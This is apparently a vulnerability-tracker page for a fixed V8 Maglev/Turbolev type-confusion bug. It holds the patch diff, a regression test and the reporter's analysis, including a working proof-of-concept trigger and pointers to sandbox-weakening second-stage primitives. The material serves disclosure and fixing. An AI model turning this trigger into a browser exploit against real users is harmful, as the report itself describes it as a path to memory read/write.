Overview

High
Severity
β€”
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Bug ClassType Confusion
Tracker528501127
Fix commit9068d5fc068f (v8/v8) +26/-1
CISA KEVNot listed
Creditednh.dev2022
Disclosed2026-07-29

Files Changed

  • src/maglev/maglev-known-node-aspects.cc
  • test/mjsunit/turbolev/regress-528501127.js
From 9068d5fc068f85d0eb723d9b63f15fb56c6db725 Mon Sep 17 00:00:00 2001
From: Victor Gomes <[email protected]>
Date: Mon, 29 Jun 2026 11:15:40 +0200
Subject: [PATCH] [maglev] Skip stale maps in StoreMap alias invalidation

Fixed: 528501127
Change-Id: Icce0566468bb46dfd352e05a105646ba3f3b9ad4
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8019002
Reviewed-by: Darius Mercadier <[email protected]>
Commit-Queue: Victor Gomes <[email protected]>
Commit-Queue: Darius Mercadier <[email protected]>
Auto-Submit: Victor Gomes <[email protected]>
Cr-Commit-Position: refs/heads/main@{#108302}
---

diff --git a/src/maglev/maglev-known-node-aspects.cc b/src/maglev/maglev-known-node-aspects.cc
index 84a6666..8deaf24 100644
--- a/src/maglev/maglev-known-node-aspects.cc
+++ b/src/maglev/maglev-known-node-aspects.cc
@@ -492,7 +492,7 @@
   if (!node->is_transitioning()) return;
 
   if (NodeInfo* node_info = TryGetInfoFor(node->ValueInput().node())) {
-    if (node_info->possible_maps_are_known() &&
+    if (node_info->possible_maps_are_known() && !node_info->maps_are_stale() &&
         node_info->possible_maps().size() == 1) {
       compiler::MapRef old_map = node_info->possible_maps().at(0);
       auto MaybeAliases = [&](compiler::MapRef map) -> bool {
diff --git a/test/mjsunit/turbolev/regress-528501127.js b/test/mjsunit/turbolev/regress-528501127.js
new file mode 100644
index 0000000..8a8e17d
--- /dev/null
+++ b/test/mjsunit/turbolev/regress-528501127.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbolev
+
+function f(a, b) {
+  let tr = (a.w * 1.5) | 0;
+  a.x = 1.1;
+  let t1 = b.x;
+  a.y = 2.2;
+  let t2 = b.x;
+  b.z = 3.3;
+  return tr + t1 + t2;
+}
+%PrepareFunctionForOptimization(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+%OptimizeFunctionOnNextCall(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+
+let o = {w: 0.5};
+f(o, o);
+assertEquals("w,x,y,z", Object.keys(o).join(","));
+assertEquals(2.2, o.y);
+assertEquals(3.3, o.z);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/turbolev/regress-528501127.js b/test/mjsunit/turbolev/regress-528501127.js
new file mode 100644
index 0000000..8a8e17d
--- /dev/null
+++ b/test/mjsunit/turbolev/regress-528501127.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbolev
+
+function f(a, b) {
+  let tr = (a.w * 1.5) | 0;
+  a.x = 1.1;
+  let t1 = b.x;
+  a.y = 2.2;
+  let t2 = b.x;
+  b.z = 3.3;
+  return tr + t1 + t2;
+}
+%PrepareFunctionForOptimization(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+%OptimizeFunctionOnNextCall(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+
+let o = {w: 0.5};
+f(o, o);
+assertEquals("w,x,y,z", Object.keys(o).join(","));
+assertEquals(2.2, o.y);
+assertEquals(3.3, o.z);
Loading diff…

Original Bug Report

reported by [email protected]

Turbolev: `RecomputeKnownNodeAspectsProcessor` reads stale `possible_maps` across `StoreMap`, eliding a required `CheckMaps` β†’ wrong-map type confusion

Vulnerability Details

Summary

In the Maglev frontend’s post-build optimizer pass, KnownNodeAspects::ClearUnstableNodeAspectsForStoreMap (v8/src/maglev/maglev-known-node-aspects.cc:342-371, d096af1c9e) reads node_info->possible_maps().at(0) at line 347 without checking node_info->maps_are_stale(). Because RecomputeKnownNodeAspectsProcessor has no ProcessNode(StoreMap*) overload, the per-node possible_maps is not updated after a StoreMap, so the value read at line 347 can be the pre-transition map.

When two consecutive transitioning property stores are emitted for the same SSA value, the second StoreMap’s alias-invalidation runs the precise-alias fast path using the wrong old_map, fails to mark stale a separate SSA value whose feedback is {intermediate_map}, and the subsequent ProcessCheckMaps removes the CheckMaps the graph builder correctly emitted for that value. Generated code then accesses the aliasing object under a sibling map without a deopt guard.

This is reachable from web content under --turbolev, which ships to a Finch population in M148 (study V8Turbolev). It is not reachable in the default configuration without that experiment.

Root cause

Two pieces, both in v8/src/maglev/:

(a) Missing processor overload. RecomputeKnownNodeAspectsProcessor (maglev-kna-processor.h) handles StoreMap via the generic MarkPossibleSideEffect<StoreMap> path (maglev-known-node-aspects.h:666,691-692), which calls ClearUnstableNodeAspectsForStoreMap for alias invalidation but does not update the stored object’s own possible_maps to the post-transition map. The graph builder does this via BuildStoreMap’s post-store SetPossibleMaps; the recompute pass does not mirror it. So after

StoreMap(obj, MapA β†’ MapB)

the recomputed KNA still has obj.possible_maps == {MapA}, and maps_are_stale() is false (the precise-alias path at :355-360 only marks other nodes stale, not obj itself).

(b) Stale read in the precise-alias fast path. ClearUnstableNodeAspectsForStoreMap:

342  void KnownNodeAspects::ClearUnstableNodeAspectsForStoreMap(
343      StoreMap* store_map, ...) {
344    NodeInfo* node_info = TryGetInfoFor(store_map->object_input().node());
345    if (node_info && node_info->possible_maps_are_known() &&
346        node_info->possible_maps().size() == 1) {
347      compiler::MapRef old_map = node_info->possible_maps().at(0);   // ← stale
348      compiler::MapRef new_map = store_map->map();
349      // Precise alias invalidation: only nodes whose possible_maps
350      // contains old_map can alias obj.
...
355      for (auto& [node, info] : node_infos_) {
356        if (info.possible_maps().contains(old_map)) {
357          info.SetMapsAreStale();
358        }
359      }
360      return;
361    }
362    // Conservative fallback: mark all unstable maps stale.
...

No maps_are_stale() guard before line 347. With the stale {MapA} from (a), a second StoreMap(obj, MapB β†’ MapC) reads old_map = MapA, scans for nodes whose maps contain MapA, and misses any node b with possible_maps == {MapB} β€” even though b may alias obj (which actually has MapB at this program point).

(c) Consequence. ProcessCheckMaps sees b.possible_maps == {MapB}, not stale, matching the CheckMaps(b, {MapB}) the graph builder emitted, and removes it. After the second transition, obj (== b) has MapC; generated code stores to b assuming MapB layout with no guard.

Reachability under --turbolev (default-on, no further flags)

Turbolev reuses the Maglev frontend; there is no separate Turboshaft KNA. RecomputeKnownNodeAspectsProcessor runs via two independent default-on paths in v8/src/compiler/turboshaft/turbolev-frontend-pipeline.cc:

:303  if (v8_flags.turbolev_non_eager_inlining) {     // default TRUE, flag-definitions.h:769
:304    if (!Run<InlinerPhase>()) return {};
        β†’ :176-182  maglev::MaglevInliner(graph).Run()
          β†’ maglev-inlining.cc:151-157  Run() β†’ RunOptimizer()
            β†’ :131-139  RecomputeKnownNodeAspectsProcessor

:306  if (v8_flags.maglev_truncation && ...) {        // default TRUE, flag-definitions.h:682
:308    Run<PostOptimizerPhase>(nullptr);
        β†’ :228-247  PostOptimizerPhase
          β†’ :232  maglev::RecomputeKnownNodeAspectsProcessor

CompilationFlags::ForTurbolev() (maglev-compilation-info.h:103-109) populates is_non_eager_inlining_enabled from v8_flags.turbolev_non_eager_inlining, so a Turbolev compilation enables the inliner without --maglev_non_eager_inlining.

The Maglev-tier path (maglev-compiler.cc:112) is gated solely on v8_flags.maglev_non_eager_inlining (default false, no Chrome-side enablement) and is not relevant to Turbolev compilations.

--turbolev ships via Finch in M148

Evidence Location
Finch study V8Turbolev, arm Enabled β†’ enable_features: ["V8Flag_turbolev"], all platforms testing/variations/fieldtrial_testing_config.json:23935-23961
V8Flag_* β†’ --* declaration-free passthrough gin/v8_initializer.cc:223,228-267,309-340 (V8FeatureVisitor)
WebView allowlisted to receive the feature android_webview/.../ProductionSupportedFlagList.java:693

The in-tree config proves the study and Enabled arm exist; rollout percentage and channel split are server-side.

Version

  • V8 14.9.207 (Chrome M148–M149)
  • Reproduced on Google Chrome 149.0.7827.155 (Official Build, Linux x64, revision 07b52360cc15066f987c910ab34dfbcd4a8778d2)
  • File:line references in this report are to Chromium d096af1c9e
  • Affects all platforms covered by the V8Turbolev Finch study (android, android_webview, chromeos, linux, mac, windows)

Reproduction Case

Execution-verified on Google Chrome 149.0.7827.155 Official Build (V8 14.9.207.29, Linux x64).

Observed (release build, --allow-natives-syntax --turbolev)

opt status bits: 0b101001 (41)
[manually marking <JSFunction f> for optimization to TURBOFAN_JS, kSynchronous]
[compiling method <JSFunction f> (target TURBOFAN_JS), kSynchronous]
[completed compiling <JSFunction f> (target TURBOFAN_JS) - took 0.007, 16.214, 0.367 ms]
before: y=undefined z=undefined
f(o,o) = 2.2
after:  y=undefined z=3.3  hasY=false hasZ=true
keys:   w,x,z
JSON:   {"w":0.5,"x":1.1,"z":3.3}

a.y = 2.2 executed with a === o, but o has no own property y afterward β€” the unguarded b.z transitioning store stamped sibling map {w,x,z} onto a {w,x,y}-layout object, overwriting slot 2. No deopt fired.

Control (same build, --allow-natives-syntax, no --turbolev)

 opt status bits: 0b101001 (41)                                                                                    
 before: y=undefined z=undefined                                                                                   
 f(o,o) = 2.2                                                                                                      
 after:  y=2.2 z=3.3  hasY=true hasZ=true                                                                          
 keys:   w,x,y,z                                                                                                   
 JSON:   {"w":0.5,"x":1.1,"y":2.2,"z":3.3}

Correct semantics under classic TurboFan. Same tier, same opt-status; only the pipeline differs.

PoC

// d8 --allow-natives-syntax --turbolev  poc.js
function f(a, b) {
  let tr = (a.w * 1.5) | 0;   // truncation candidate β†’ PostOptimizerPhase runs
  a.x = 1.1;                  // StoreMap #1: {w} β†’ {w,x}
  let t1 = b.x;               // CheckMaps(b, {w,x})
  a.y = 2.2;                  // StoreMap #2: {w,x} β†’ {w,x,y}
  let t2 = b.x;               // CheckMaps(b, {w,x}) ← elided by recompute pass
  b.z = 3.3;                  // StoreMap(b, {w,x} β†’ {w,x,z}) β€” unguarded
  return tr + t1 + t2;
}
%PrepareFunctionForOptimization(f);
for (let i = 0; i < 50; i++) {
  let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b);
}
%OptimizeFunctionOnNextCall(f);
{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
let o = {w: 0.5};
f(o, o);
print(Object.keys(o).join(","), o.y, o.z);
// --turbolev:      "w,x,z undefined 3.3"
// no --turbolev:   "w,x,y,z 2.2 3.3"

Security Impact

Wrong-map type confusion in JIT-generated code: a store (or load) executes against an object whose actual map differs from the one the optimizer assumed, with no deopt guard. This is the standard primitive that yields in-cage arbitrary read/write in V8.

A quick note for severity calibration, the same source tree contains two V8-sandbox-weakening primitives that an attacker with cage RW could use as a second stage: ExternalPointerTable::Set re-tagging (external-pointer-table-inl.h:182) and CodePointerTable entries carrying no type tag (code-pointer-table-inl.h:19). I am happy to file those separately if useful.

Suggested Fix

Either of:

  1. Guard the fast path. In ClearUnstableNodeAspectsForStoreMap, add && !node_info->maps_are_stale() to the condition at lines 345-346, so a stale possible_maps falls through to the conservative path at :362.

  2. Keep possible_maps fresh in the recompute pass. Add a ProcessNode(StoreMap*) overload to RecomputeKnownNodeAspectsProcessor that mirrors BuildStoreMap’s post-store SetPossibleMaps(obj, {new_map}), so line 347 reads the correct old_map for the second StoreMap.

(1) is the minimal fix; (2) preserves the precision the fast path is there for.

View on issue tracker